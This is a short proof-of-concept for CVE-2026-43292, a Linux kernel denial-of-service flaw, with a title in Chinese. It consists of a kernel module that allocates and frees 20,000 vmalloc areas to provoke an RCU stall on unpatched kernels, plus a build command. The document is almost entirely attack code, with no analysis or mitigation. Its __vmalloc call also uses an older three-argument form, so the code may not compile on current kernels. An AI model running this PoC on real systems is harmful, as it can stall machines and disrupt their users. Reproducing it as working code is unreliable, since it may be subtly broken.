CVE-2026-43292: Linux内核vmalloc模块拒绝服务漏洞

/* * PoC for CVE-2026-43292 * This kernel module attempts to trigger the RCU stall by allocating * and freeing a large number of vmalloc areas. * Compile with: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/vmalloc.h> #define ALLOC_COUNT 20000 static int __init poc_init(void) { void **ptrs; int i; ptrs = vmalloc(sizeof(void *) * ALLOC_COUNT); if (!ptrs) return -ENOMEM; printk(KERN_INFO "CVE-2026-43292 PoC: Starting allocation...\n"); // Allocate a large number of vmalloc areas for (i = 0; i < ALLOC_COUNT; i++) { ptrs[i] = __vmalloc(PAGE_SIZE, GFP_KERNEL | __GFP_NOFAIL, PAGE_KERNEL); } printk(KERN_INFO "CVE-2026-43292 PoC: Freeing memory to trigger purge...\n"); // Free them to trigger kasan_release_vmalloc_node // This may cause RCU stall if CONFIG_PAGE_OWNER is enabled and patch is missing for (i = 0; i < ALLOC_COUNT; i++) { vfree(ptrs[i]); } vfree(ptrs); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2026-43292 PoC: Exiting.\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43292 RCU Stall");